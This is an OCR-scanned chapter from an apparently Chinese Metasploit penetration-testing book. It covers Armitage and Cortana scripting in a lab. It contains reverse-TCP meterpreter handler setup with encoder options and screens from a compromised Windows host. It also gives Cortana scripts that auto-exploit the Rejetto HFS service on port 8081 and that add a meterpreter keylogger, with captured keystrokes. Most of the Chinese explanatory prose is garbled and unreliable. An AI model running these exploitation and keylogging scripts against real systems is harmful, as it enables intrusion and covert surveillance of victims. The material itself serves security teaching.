i
lterations =
KeepTemplateWarking
LHOST 192,168.10,104

LPORT

Template + v

Output: | exe A

[ ] show advanced options

Launch

(3) eI AT B E (Bl AL PORT) 7, HRAGT Z b FFOutputks . X BLIRATHY H s ML Lisfy
HEWindows R4E, Fr ATRATEE R exe /ol A% o, X ERE R — AT 3Ct . 4Tl
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s B UL E AR ITAR A B 5E e, Bl Launch@IENX UG 8 . B X B 22 55— D XHEHE,
WF EFT7R o

Save

Look In: [[ﬁ'root |'] [ﬁj[@][ﬁjlﬂllﬁ'
Ea & git
(& core (& ha
[ Desktop (& ma
[ Dropbox & rp
[ forensics & pc
) T
File Name:
Files of Type: |All Files |v]

[ Save J [ Cancel J

4) TEXN LIRS, Armitagel S EORRATRAEAE R B B . AT ZH A H o LI
LMK, RGPS, B, WE#ET— MGV, EBERERIE, XAV
B2 PT A k F H AR EHLRIE (5 FE IR D s , AT T LI BAR EMLE T30 T

(5) M T hTGhE A — A MEUTES, FRATFE ZEAE Armitage BT R [ ¥EH Listener, SRJ51EH
Reverse, XT3 —AXHEAE, 33X hHE Hh SR B i 5 AT Ee 2878, R A
FI7R o

Create Listener e @ °

Port: 8888

Type: [meterpreter |']

[ Start Listener J

(6) i Adi 1158888, TEFEMANT#RAYZEH FyMeterpreter, A5 B iliStart Listenerd %41l

(7) B, KBRS AR 52 F . — B2 FE I T 3erE, BT
EARGEREIAUR . XA SR RS T WAL
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> ﬁ auxiliary
v exploit
» & payload
> ﬁ post

105
DESKTOP

{ Console X Twmduws.’metarprater_reverse_tcp XW

msf = use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp
PAYLOAD => windows/meterpreter_reverse_tcp

msf exploit(handler) > set LHOST 192.168.10.104

LHOST => 192.168.10.104

msf exploit(handler) > set LPORT 8888

LPORT => 8888

msf exploit(handler) > set Iterations 3

Iterations => 3

msf exploit(handler) > set Encoder x86/shikata_ga_nai

Encoder == x86/shikata_ga_nai

msf exploit(handler) > set EXITFUNC process

EXITFUNC == process

msf expleit(handler) > set ExitOnSession false

ExitOnSession => false

msf exploit(handler) > exploit -j

[*] Exploit running as background job.

[*] started reverse TCP handler on 192.168.10.104:8888

[*] Starting the payload handler..

[*] Meterpreter session 3 opened (192.168.10.104:8888 -> 192.168.10.105:13589) at 2016-07-12 23:23:02 +0530

BUAERT LIAE BAs BN EHATITA R E L T, X—YIE e RT— 7 o iIRRE . ek E
& 0] A BAR EHLAMELLE SO, 1 Aok #E Meterpreter 22 B i Explore, SRJGTE F—2HEEH
Hhit$EBrowse Files, N F T A 5 He & s o

> (& auxiiary
> (@ exploit
> (& payload
> (@ post

WIN- SWIKKOTKSHX

DESKTOP - PE!

[ console x | windows/meterpreter reverse_tcp X [[Files 3 X |
D 4|Name | size | Modified | Mode
[ sRecycle.sin 2016-01-15 21:51:20 +0530 4077 Trwmrwxrux
AdwCleaner 2016-01-19 13:20:46 +0530 4077 7/rwmrwrx
(B config.Msi 2016-06-13 14:40:30 +0530 4077 T/romrwrw
(B Documents and settings 2015.07-10 17:51:38 +0530 4077 TIrwKrwKrwx
& ntel 2016-01-15 22:18:03 +0530 40777 jrvmrwrw
[ msocache 2016-01-15 23:17:49 +0530 40555/r3rxrx
(@ Perflogs 2015-10-30 12:58:24 +0530 4077 Tirwsrwirwx
@ Per 2016-01-18 20:50:19 +0530 40777 jrvaxrwsrwc
(&  Program Files 2016-06-20 20:13:59 +0530 40555/r3rxrx
(8  Program Files (86) 2016-07-05 13:06:55 +0530 40555/r3rHrx
(B Programbata 2016-05-22 17:13:00 +0530 40777 Irvasrwrva
(& Python27 2016-01-20 00:56:49 +0530 4077 T Irwrwxrux
@ Recovery 2016-02-22 23:20:49 +0530 40777 /rwmrwruix
B Ruby23x64 2016-04-09 15:00:20 +0530 4077 7 Irwrwrw
(B sandbox 2016-02-04 11:58:17 +0530 40555/rarxrx
(@  System Volume information 2016-07-10 16:09:01 +0530 40777 jrrwnrw
& TimHillone 2016-04-20 16:49:17 +0530 4077 Tromrwrw
& users 2016-02-22 23:23:50 +0530 40555/rrxrx
[ Windows 2016-07-12 14:54:36 +0530 40777 rvexrwosrwc
& xampp 2016-01-20 01:31:35 +0530 4077 Trwrwnrw
hiberfi.sys amb 19700101 05:30:00 +0530 0202/w—-w-
BOOTNXT b 2015-10-30 12:48:34 +0530 100666/rw-rw-rw-
abebt 1akb 2016-03-01 22:43:34 +0530 100666/rw-rw-rw-
abe2.txt 16kb 2016-03-01 22:43:44 +0530 100666/rw-rw-rw-
bootmgr 386kb 20150710 16:30:31 +0530 100444/~
pagefile.sys 2gb 2016-07-02 19:22:26 +0530 100666/rw-rw-rw-
r2.peap 2186 20160314 21:27:24 40530 100666/rw-rw-rw-
raw,pcap 357b  2016-03-07 00:01:34 +0530 100666/rw-rw-rw-
swapfile.sys 16mb 20160702 19:22:26 40530 100666/rw-rw-rw-
| Upload... | | Make Directery | | List Drives | [ Refresh |
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[FIRE, FATE AT IAE ARt AL EIEE T & Wi . 1 et PEMeterpreter i) F > FRH 1)
Explore, SRJGTE F—ZE i $EShow Processes, HAs EAL Fisf iy AEun T~ E iR

> (8§ awdiiary
> (& exploit
> (@ payload
» [ post
[ console x| windows/meterpreter_reverse tcp X | Files 3 X [ Processes3 X |
PID_ 4| Name [Arch 5. |User [ Path
0 [System Process]
4 System x64 0
388 smss.exe x4 0
588 corss.exe x4 0
716 wininit.exe x4 0
860  senices.exe x4 0
872 lsass.exe ¥64 0 NTAUTHORITWSYSTEM C:\Windows\System32\lsass, exe
960  svchost.exe %64 0 NT AUTHORITWSYSTEM C:\Windows\System32\svchost. exe
1020 svchost.exe %64 0 NTAUTHORITNETWORK SERVICE  C:\Windows\System32\suchost.exe
1044 svchost.exe %64 0 NTAUTHORITWSYSTEM Ci\Windows\System32\svehost.exe
1104 svchost.exe ¥64 0 NTAUTHORITY\LOCAL SERVICE C/\Windows\System32\svchost.exe
1112 svchost.exe ¥64 0 NTAUTHORITY\LOCAL SERVICE Ci\Windows\System32\svchost.exe
1212 svchost.exe ¥64 0 NTAUTHORIT\SYSTEM C:\Windows\System32\svchost.exe
1220  svchost.exe ¥64 0 NTAUTHORITYWETWORK SERVICE  C:\Windows\System32\suchost.exe
1228 svchost.exe ¥64 0 NTAUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1296  nvscpapisvr.exe ¥86 0 NTAUTHORITWSYSTEM C:\Program Files (x86)\WVIDIA Corporationi3D Vision\nvscpapisvr. exe
1308 nwsve.exe ¥64 0 NTAUTHORITWSYSTEM C:\Windows\System32\nwsve. exe
1384 WUDFHost. exe ¥64 0 NTAUTHORITYLOCAL SERVICE C:\Windows\System32\WUDFHost. exe
1404 csrss.exe x4 8
1516  ighCUlService.exe %64 0 NT AUTHORITWSYSTEM C:\Windows\System32\igfxCUIService. exe
1552 svchost.exe %64 0 NTAUTHORITYALOCAL SERVICE C:\Windows\System32\suchost. exe
1936 WINWORD.EXE %86 8  DESKTOP-PESQ2LS\Apex C:\Program Files (x86)\Microsoft Office\Officel 2\WINWORD.EXE
1968 Shiesvc.exe %64 0 NTAUTHORIT\SYSTEM Ci\Program Files\Sandboxie\Sbiesve,exe
2064 svchost.exe ¥64 0 NTAUTHORTYWETWORK SERVICE  CiWindows\System32\svchost.exe
2168 spoolsv.exe ¥64 0 NTAUTHORITVSYSTEM C\Windows\System32\spoolsv.exe
2312 AppleMobileDeviceService.exe %64 0 NT AUTHORITWSYSTEM C:\Program Files\Common Device Suppor .exe
2336 vmware-ray.exe %86 8 DESKTOP-PESQ21S\Apex C:\Program Files (x86)\VMware\VMware Workstation\vmware-tray. exe
2648 mDNSResponder.exe ¥64 0 NTAUTHORITWSYSTEM C:\Program Files\BonjourmDNSResponder.exe
2656 IpOverUsbsvc.exe ¥86 0 NTAUTHORITWSYSTEM C:\Program Files (x86)\Common Files\Microsoft St Tools\CoreCori11.0 Jsb
2664  vmware-authd.exe ¥86 0 NTAUTHORITWSYSTEM C:\Program Files (x86)\MwarelVMware Workstationmware-authd.exe
2672 vmware-usbarbitratored. exe ¥64 0 NTAUTHORITWSYSTEM C:\Program Files (x86)\Common Files\Mware\USB\mware-usbarbitratorsd, exe
2680  GfEwperienceSenvice exe %64 0 NTAUTHORITWSYSTEM C\Program Corporat p exe
2700 sqlwriter.exe %64 0 NT AUTHORITSYSTEM C\Program sqL xe
kil | | Migrate | | LogKeystrokes || Inject | | Steal Token | | Refresh |

ARE B BRI N AT ZNA5E 1, 8 PRI TE M Cortanaifi 5 2% H 445 Armitage
H{ﬂj—( o]

10.6 Armitage BIZA&HRS

Cortanase—FIARRIE T, 7F Armitage ' FR AT 1014 o BB L TR IR{ % F Cortana
RATLLBNIGA, MBS 7wk, (G A—FETAE. 734, LLBGE S 48— lar
FIHIBN, XA BA ST HERZUR R HRER , DL B i SRt TAERCE.

Cortanafl| FH AR5 5 2Rk Al FHMetasploit L R FE R i, 3X A H sl fb#E i MetasploitifE 5
BB AL T RS

Ab, Cortanatf 5 7] LAFE BB B TREIN 0 B B shim N RS R0 k. BasIRITIELE
XML E T 10065 EVLR M HEATEENK, Hrh296 FAL FiE47%E Windows Server 2012 R4t
HAh FHL Fi2 7 E Linux B ER G . RATTFE ik, B LLA 3hff HRejetto HTTPFileServer
Remote Command Execution?s iS5 H X} X L5 75 808 137 I |12 47 % HttpFileServer httpd 2.3%4K{F 11
Windows Server 2012 RS T15815
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BATTAT LABRAA b 5E B A — B A SR S AT 45 10 H sk, S ubIRIAT IR RE T 4 R[] .
—HAMFEFMMENLEL, V2 Hrejetto_hfs_execiffTBE TAE, MINGIESHEH B
TTHE R A BB

10.6.1 Cortana E#l4&niR

fdi FCortanaZi 5 — ™ & FRLAY BGEREIUMAK A B TIAT B Wb IR IX FIE T . I, kB —
AT A BT WindowsEAE R 48 808 13 111 s il I AR -
on service_add_8081 {
println("Hacking a Host running $1 (" . host_os($1) . ")");
if (host_os($1) eqg "Windows 7") {
exploit ("windows/http/rejetto_hfs_exec", $1, % (RPORT =>
"8081"));

}
}

24 I Nmap sk # MSFHH & B H AR 9808 131 1AL T HCIRAS I, AR IIAE ST, X B
A KA HAR RSG5 I Windows 7; UISRZS RN, Cortanaii s H sl Hirejetto_hfs_
execB BRI T HARI808 13 1 .

TEXBEIA A, <1480 EHLAGIPHBAL; Print_1nREU BITENFEAHIAZE; host_osfEHl
—>Cortana ' 25 (Y BRECAT LUIR [ FHLAIERAE RGEA ;. pRfexploi t7ESEL s 145 € W IPHHE
Jash— BB s FR B BRI B I, WSS BT E AN ] R it 1 sl T B A A
Fit, AT A s 5 E X AR BB AL ; service_add_ 808148 T YRR E K S K BT
TR A 808 13 1 Bt firh & At 2514

B IARDRAT . SRIGTE Armitage P A IAS . 18 E SRR _ L £ Armitage i T,
SR 5 i Seripts .

[ Console XT Workspaces X T Scripts )(]

name | flags

l Load | l Unload | l Console | l Scripts |

K THERG Lz AT MAS, WEHITLL T P8R,
(1) B Loadt#4H, SRJ51EArmitagesF 2 A—CortanafiiA, 1T,
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Open

Look In: lﬁ cortana |'] @ @ CJ mD
8081.cna

File Name: 808l.cna

Files of Type: | All Files |v]

[ Cancel
(2) e Z A SR 5 Bihi Openo  Bih 2 S K 457 Armitage FER AN EIAS, AT BIPR

[ Console )(T Workspaces X T Scripts X]

name | flags
jroot/Desktop/cortana/8081.cna

[ Load ][ Unload | [ console | [ Scripts |

(3) POk, HEACortanafE il 5885 AT S help, XAENT LIS H7E AL BRAHIAS B AT DU FH )
R,

(4) WRARAEAFE Y CortanalIAIZ I THFARAT T WIRLEERNE, v LU A4 Logon, 7EHJS I
AR AT, Logonfi A ¥ AR H Aic % Thie, IF2ic 5 il A T B B — A,
AR E R,

Scripts X | Cortana X

cortana> help

Commands
askoff
askon
help
Load
logoff
Tlogon
1s
proff
profile
pron
reload
troff
tron
unload

cortana= logon 8081.cna
Logging '8081.cna’

cortana>
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(5) BUAEXT AR T — IR R BE 44 . 1 e Hosts B30, SRS 7855 H Y Nmap 737 S rp ik v

Intense Scan,

(6) IELNFA BB BIRIBKE, — BT 808 13 I By FHLEE A T . 1EFRATH B Cortanafs
W&kt F/ R EE T4

Armitage View Hosts Attacks Workspaces Help

> ﬁ auxiliary
=1 exploit
= payload
> ﬁ post

{ Console X T Scripts X TCurtana X T nmap X T nmap X T nmap X T nmap X ]
cortana> logon 8081.cna

Logging '8081.cna’
Hacking a Host running 192.168.10,109 (Windows 7)

[22:29:42] metasploit module.compatible_payloads('windows/http/rejetto_hfs_exec') at
internal.s1:505

[22:29:42] metasploit module.execute('exploit', 'windows/http/rejetto_hfs_exec', %(LHOST =>
'192.168.10.104', RPORT => '8081', LPORT => 30764, RHOST => '192,168.10.109', PAYLOAD =>
'windows /meterpreter/bind_tcp', TARGET => '0')) at internal.sl:499

cortana>

(7) Cortanall Z83d it FI iz 7B B BRI T HAREHL.

IEMNFRATIAET BIAAREE , Cortanan] LATE BB VEAA L SCBLB BUGE A A Shikiaty, 7T
REJLA R, BATESBERNNATSEIR B BUGEE R A Sk, LU ] Cortanat? il Metasploit
FEEfE.

¥

10.6.2 #z#l] Metasploit

CortanafEfR 4 Hi¥% fil Metasploitf) DI fE . W] LI CortanaXf Metasploit & H & Fin 4 o 113&AT]
1 3k — 7 K T 47 H B Cortana X Metasploit it 45 il -

cmd_async ("hosts") ;

cmd_async ("services") ;

on console_hosts {

println("Hosts in the Database");
println(" $3 ");

}

on console_services {
println("Services in the Database");
println(" $3 ");

}

TEXBUHA P, 474 cmd_async Kikhostsfii S Mlservicesfit s E|MetasploitH o R & 19
AT, HAh, XEconsole * RECBUTIRITEN X A M4 MOt . MetasploithHATix sbar 4. 4
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T, NTHEIX MR NG, FE5E Lk lconsole_*, A, 38— w, THHPRAET
A A I N2

TEready.cnaiASNEL 5E 54 2 5, FTIFCortanad® il & A &5 HH 1 2 -

Hosts in the Database

Hosts

address mac name 0S_name os_flavor os_sp purpese info comments
192.168.10. 109 ﬂﬂ 00:27:84:55:8¢ HIN SWIKKOTKSHX Windows 7 client
Services in the Database

Services

host port proto name state info

192,168.10.109 80 tep http open  Microsoft IIS httpd 7.0
192,168.10.109 135 tcp msrpc open  Microsoft Windows RPC
192.168.10.109 139 tep netbios-ssn open  Microsoft Windows 98 netbios-ssn
192.168.10.109 445 tcp microsoft-ds open  primary domain: WORKGROUP
192,168.10.109 3389 tcp ssl/ms-wbt-server open

192,168.10.109 8081 tcp http open  HttpFileServer httpd 2.3
192.168.10.109 49152 tcp unknown open

192.168.10.109 49153 tcp unknown open

192,168.10.109 49154 tcp unknown open

192,168.10.109 49155 tcp unknown open

192.168.10.109 49156 tcp unknown open

192.168.10.109 49157 tcp unknown open

cortana>

R, A Akt N A BoRTERR: o B B AZSHOX B2~ 1o A, A5
i 2274 S{d FH Cortanal i A3 i Armitage Ao 47 il Metasploitf {5 & , 11/ http://www.Fastandeasyhacking.
com/download/cortana/cortana_tutorial.pdf,

10.6.3 M Cortana SLM GBI EH

fiFHConanaiI%}:%iﬁIﬁlﬁiﬁ%ﬂ“%ﬁﬁiE’Jo fdi ] Cortana PN & A N HE FT VAR 5 8 12
Weikv o AEFRATE I T A 9 R AS BRIk — A

on heartbeat_15s {

local ('$sid")

foreach $sid (session_ids()) {
if (-iswinmeterpreter $sid && -isready S$sid) {
m_cmd ($sid, "getuid");

m_cmd ($sid, "getpid");

on meterpreter_getuid {
println("™ $3 ");

}

on meterpreter_getpid {
println(" $3 ");

}

s o
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TEXMEA T, AT T —4 4 Hheartbeat_15sHpRE, XA MREUEEG 152 F Z I
T—WR. Wik, EFROBEERE (heart beat function ),

PRE L ocal IR $sidi Yl RE I — Rl AS it . B —45 W foreachifi ) &— "X T A I
ESTEREE T o L1 e R AR AP S R — A SiE i TR A, AN R SRR
Windows Meterpreterfs il , DA SIxaif e G o] I T8 BIF 2 4o

m_cmdPRE H ssia (BIZIEID ) 28 2K e & ik 25 Meterpreter 23 id . 1545, F&Al]
FESL T —"APmeterpreter *JEAIREL, ~EWE MK &% B Meterpreter TR AT A o X1 pPREL
BTl sent an S BHI i, IEUFEZ TR Fconsole_hostsMlconsole_services i
HBFE .

i1l Cortanaf A A, JERIGERAEFTAMHT, 0 FPEITR.

Server username: WIN-SWIKKOTKSHX\mm
Current pid: 740
Server username: WIN-SWIKKOTKSHX\mm
Server username: WIN-SWIKKOTKSHX\mm
Current pid: 740
Current pid: 740
Server username: WIN-SWIKKOTKSHX\mm
Server username: WIN-SWIKKOTKSHX'mm
Server username: WIN-SWIKKOTKSHXYmm
Current pid: 740

Current pid: 740

Current pid: 740

WINEAFPIT TIXBIARZ 5, B 1SEYE S W Hbs RS0 P IDAES {1
ID, n FEETR,

# S~ Cortanaty 5 5 & bk . B AR A R R 512 8, 5 Flhttp//www.
fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf,

10.6.4 £ Cortana Sl ZHENKH

i i Meterpreter 23 i V)% 88 HARTTAMLZ )5, Cortanaid i) LIOHFRATTHRALFG HE [ 2 R
HTIEE. 1EFRATE H Cortanasie i — 1> A 8 SCEERLIC SR A%, IR 4347 LAF Ak T f## Cortana
JEVAS B TAERLE]
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popup meterpreter_bottom {
menu "&My Key Logger" {

item "&Start Key Logger" {
m_cmd($1, "keyscan_start");

}

item "&Stop Key Logger" {
m_cmd($1, "keyscan_stop");

}

item "&Show Keylogs" ({
m_cmd($1, "keyscan_dump") ;

}

on meterpreter_keyscan_start {
println(" $3 ");

}

on meterpreter_keyscan_stop {
println(" $3 ");

}

on meterpreter_keyscan_dump {
println(" $3 ");

}

}

}

X BT EL T 7E Meterpreter 152 H EP@J@*/\%T B SRR, i, HARINBE T
HERTFEVLIEIS T — 1 ~Meterpreterfiy 24 TH, X HH S BRI A2 AT FH I

X B e Foopup e s BB — 5 U BT, 1 PR Ame t erpreter_bot tom#n 24 H
FE B bR EALE bR _L 2 BUbR A 8 9% H Meterpreterfih, X NSRBI L, T iten
BB T RPN BRI, A m_cmadZARIE EA TR i 5 ) 205 R iy 2 & 2% 45 Metasploit.,

Hit, 7EXBACES T, FRATTA =A% . Start Key Logger. Stop Key LoggerfIShow Keylogs.
ENT BT R S T 2% |« 5 Ik AL W T8 DL s S arie sk s A VT R . FRATIE
W17 = A FR A 2 3% 45 Meterpreter ) i 24 1 (1 BRI 2L . IRFEAE Cortana 8 XM IEIAS, g
i HARHHEAL, SRS TE BRI AR il BUPR A B, X IR s B (&1 s 1Y =2 5

|;‘1"
-l

r1eterpreter £l
Services

Access
Interact
Explore

Start Key Logger
Stop Key Logger
Kill Show Keylogs

ARP Scan

WAL, —BAESIBE T A0 FENL L g BRI 0 Y Meterpreter= 88, 52 & L
XL T — D HSE A ETIMy Key Logger, E1EFTASREIEIT B F 7. X SREAEIUR £
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AEATE AT A I, — BB T XA i — AN I, B X R a2 A K 2y
17, WS TECortanay 24T /Rt o BERREH — kI Start Key Logger. SR8 J5 55— B [H],
H AR e 303 170 £ P Bl 4 50 B — S iy AR AR . TS 528 5 B A9 5E = A~ T Show Keylogs, 1T
TR AT T 7S

' Access >
EEIWEES Interact >
e Explore >
Haost » | Pivoting >

! >

Start Key Logger
Stop Key Logger

Show Keylogs

ortana )(Tnmap X]

edmm Frmed e henel am e

Hik T Show Keylogs= AT L) , 78 Cortanafi il 5 K2 2IW0E B HHAHLAY & 4 A
B—NFHF, WFEFTR.

cortana= load /root/Desktop/cortana/keylog.cna
Load /root/Desktop/cortana/keylog.cna

Starting the keystroke sniffer...

Starting the keystroke sniffer...

Starting the keystroke sniffer...

Dumping captured keystrokes...

Dumping captured keystrokes...

Dumping captured keystrokes...

Dumping captured keystrokes...

<LWin> r <Return> Hi <Back> , this system is compromised by armitage and Metasploit
<LWin> r <Return> Hi <Back> , this system is compromised by armitage and Metasploit

<LWin> r <Return> Hi <Back> , this system is compromised by armitage and Metasploit

<LWin> r =Return> Hi <Back> , this system is compromised by armitage and Metasploit

10.6.5 FEHIER

e 25 SR HRA TAER I, Cortanati 4R At 1 0 3% i 7 15 FI— ZR 5 TR D fE IR A
EPETIT ., BIR, UIHRIEST RS ST, SRR A I—A> FE CIhRE, MIEATERA b
FERFISERYIE, Cortanaff 25 7 HAR EHLAYUID(E, 1EIRANTE — S 7 IXATIBER A .

bind F1 {

$sid ="3";

spawn (&gu, \$sid);
}
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sub gu{

m_cmd($sid, "getuid") ;
on meterpreter_getuid {
show_message( " $3 ");
}

}

KBRS — S EREF L, X MRBERE S T R, RGOR 2 o 4157 Hhr R 58
AUIDfH. BIA B T oind &K F I S B DI RESRE 2 —f . #5, RAITE XL TR
$siaffE N3 (IXAMERFA P2 TR Y 2 35ID ).

PRI & s pawn b Bl —NHT Y Cortana SL i, T}Lﬁgu@zﬁl FFRHE S s 1dBeE XA rh ) 4>
Jey A8 tE o PR AN gu s 1] Meterpreter & i getuidfif & . fit ¥ meterpreter_getuid b Py 4
getuldﬁ/‘ﬂﬁiuﬂjo

% show_messageff 2 5l — A5 T i & gecuiafi i BMF S o BUZERE B AR hn 2 2
Armitaget, SRJ5H% T F IR A XN IAE T il UE R AT

Armitage Wiew Hosts Attacks Workspaces Help

> [ﬁauxwllar}f

> [ﬁexp\oit 4
» [ payload I
» [ post

[ Console XT Scripts X T Cortana X T nmap X]

cortana> load /root/Desktop/cortana/gu.cna
Load /froot/Desktop/cortana/qu.cna
cortana= logon gu.cna
Logging 'gu.cna’
[00:35:04] meterpreter 3: 'getuid' at gu.cna:6

Message

6 Server username: WIN-SWIKKOTKSHX\mm

T RAVEMPAS T B R4 MuIp, #HAFEBHE LIS EH W8 T oD EwIn-
SWIKKOTKSHX\mm, J&T{# FArmitageif47Cortana{iAN2m 5 11155 b 2%

# % Cortana By A % B B H & A+ o #b 09 £ % 42 B, 3 iF Fl http//www.
fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf,
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10.7 Ih&5

EX—=H, FRAUFA2E>) T Armitage S HAAFIIRE . HEN A T A mEA TAEX 8L, [
S PEA T anfar i Armitage SEUXT H AR EHLEBE . BB BT T AR FAL R Xt s 3
BEW . 25272 T Cortana Mg FIFEARTIRE, DAL Al F & ok filMetasploit, ffa Bl T 5
BB B GRS

10.8 IE{RFIE

A AT BRI A A B 41 T Metasploit S 2 MAHSE £, AR 7B @RI 4 #E
Yotk . BESRBIRAE . % mdidi . Armitage . A S AR 5525 N A . AR
20 TICGis 5 BRI . Ruby 41 = FlCortanalIA T 7 .

BESEARNZ R, URAT LGS N SR 1R 2 AR R B

O SRR ERuby Ji 2N %Y, i Vi[A]http://ruby-doc.com/docs/ProgrammingRuby/ o

Q NSRAR 2= A R GiiE 7 R N ZY, 115 AT https://courses.engr.illinois.edu/ece390/books/
artofasm/artofasm.html,

O R 2= A B BRI R NES, Vil http://www.corelan.be.,

Q WA= )4 K MetasploitFF & N 2%, 18 [Alhttp://dev.Metasploit.com/redmine/projects/
framework/wiki/DeveloperGuide.

O SRR A KESCADAF AR BB N2, 115l http://www.scadahacker.com,

Q 0 SR AE SRS & T Metasploit 19 £ 41 0 o5 SCAY , 15 17 [7] http://www.offensive-security.com/
Metasploit-unleashed/Main_Page.

O 4R A 2= > A K Cortana Y A 2 A2 B9 N 45, 1 Vi [ hitp://www.fastandeasyhacking.com/
download/cortana/cortana_tutorial.pdf .

Q A X Cortanaii A YT Z %R, 1515 https://github.com/rsmudge/cortana-scripts.
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